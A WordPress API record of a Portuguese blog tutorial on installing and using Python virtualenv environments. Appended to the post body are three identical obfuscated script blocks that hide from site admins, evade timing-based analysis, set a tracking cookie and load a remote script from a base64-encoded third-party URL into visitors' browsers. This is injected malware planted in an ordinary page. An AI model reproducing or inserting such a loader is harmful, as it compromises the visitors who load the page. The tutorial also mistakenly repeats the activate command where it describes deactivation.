{"id":4428,"date":"2020-05-25T11:56:19","date_gmt":"2020-05-25T14:56:19","guid":{"rendered":"https:\/\/thiagovespa.com.br\/blog\/?p=4428"},"modified":"2025-10-26T22:30:53","modified_gmt":"2025-10-27T01:30:53","slug":"virtualenv-ambientes-virtuais-para-python","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2020\/05\/25\/virtualenv-ambientes-virtuais-para-python\/","title":{"rendered":"virtualenv: Ambientes Virtuais para Python"},"content":{"rendered":"\n<p>Para isolar bibliotecas e configura\u00e7\u00f5es, o python tem um utilit\u00e1rio que cria ambientes virtuais. A grande vantagem da cria\u00e7\u00e3o desses ambientes \u00e9 que voc\u00ea pode ter vers\u00f5es diferentes de bibliotecas e uma depend\u00eancia n\u00e3o afetar a outra. Assim ao instalar uma biblioteca ela n\u00e3o ser\u00e1 mais feita de forma global, mas somente para esse ambiente virtual.<\/p>\n\n\n\n<p>O jeito mais simples de fazer isso \u00e9 utilizando o pip:<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">sudo pip install virtualenv<\/pre>\n\n\n\n<p>Entretanto, em algumas distribui\u00e7\u00f5es como o Gentoo, isso normalmente oferece um risco, pois voc\u00ea estar\u00e1 instalando uma biblioteca interna que pode ocasionar conflitos com as bibliotecas de sistema. No meu caso, o Gentoo oferece j\u00e1 um pacote de sistema que fa\u00e7a isso. Se voc\u00ea utiliza essa distro que eu, ao inv\u00e9s de utilizar o comando anterior, utilize esse:<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">sudo emerge -av dev-python\/virtualenv<\/pre>\n\n\n\n<p>Verifique se a instala\u00e7\u00e3o foi bem sucedida:<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">virtualenv --version<\/pre>\n\n\n\n<p>Para criar um ambiente virtual novo \u00e9 bem simples. Acesse um diret\u00f3rio onde vai ser criado o ambiente e digite o seguinte comando substituindo nome_do_ve pelo nome do ambiente desejado:<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">virtualenv nome_do_ve<\/pre>\n\n\n\n<p>Voc\u00ea dever\u00e1 ter uma sa\u00edda como essa:<\/p>\n\n\n\n<p>Using base prefix '\/usr'<br>New python3.7 executable in \/development\/testes\/nome_do_ve\/bin\/python3.7<br>Not overwriting existing python3.7 script \/development\/testes\/nome_do_ve\/bin\/python3.7 (you must use \/development\/testes\/nome_do_ve\/bin\/python3.7)<br>Installing setuptools, pip, wheel\u2026<br>done.<\/p>\n\n\n\n<p>Para utilizar o ambiente \u00e9 s\u00f3 ativ\u00e1-lo:<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">source nome_do_ve\/bin\/activate<\/pre>\n\n\n\n<p>Com isso, voc\u00ea pode instalar as depend\u00eancias que voc\u00ea precisa e trabalhar com o python, ap\u00f3s terminar \u00e9 s\u00f3 desativar:<\/p>\n\n\n\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">source nome_do_ve\/bin\/activate<\/pre>\n\n\n\n<p>Para sair do ambiente \u00e9 s\u00f3 digitar: deactivate. Para apagar o ambiente \u00e9 s\u00f3 remover a pasta.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Para isolar bibliotecas e configura\u00e7\u00f5es, o python tem um utilit\u00e1rio que cria ambientes virtuais. A grande vantagem da cria\u00e7\u00e3o desses ambientes \u00e9 que voc\u00ea pode ter vers\u00f5es diferentes de bibliotecas e uma depend\u00eancia n\u00e3o afetar a outra. Assim ao instalar <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2020\/05\/25\/virtualenv-ambientes-virtuais-para-python\/\">Continue lendo  <span class=\"screen-reader-text\">  virtualenv: Ambientes Virtuais para Python<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[64,7],"tags":[],"class_list":["post-4428","post","type-post","status-publish","format-standard","hentry","category-linux","category-python"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4428","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4428"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4428\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}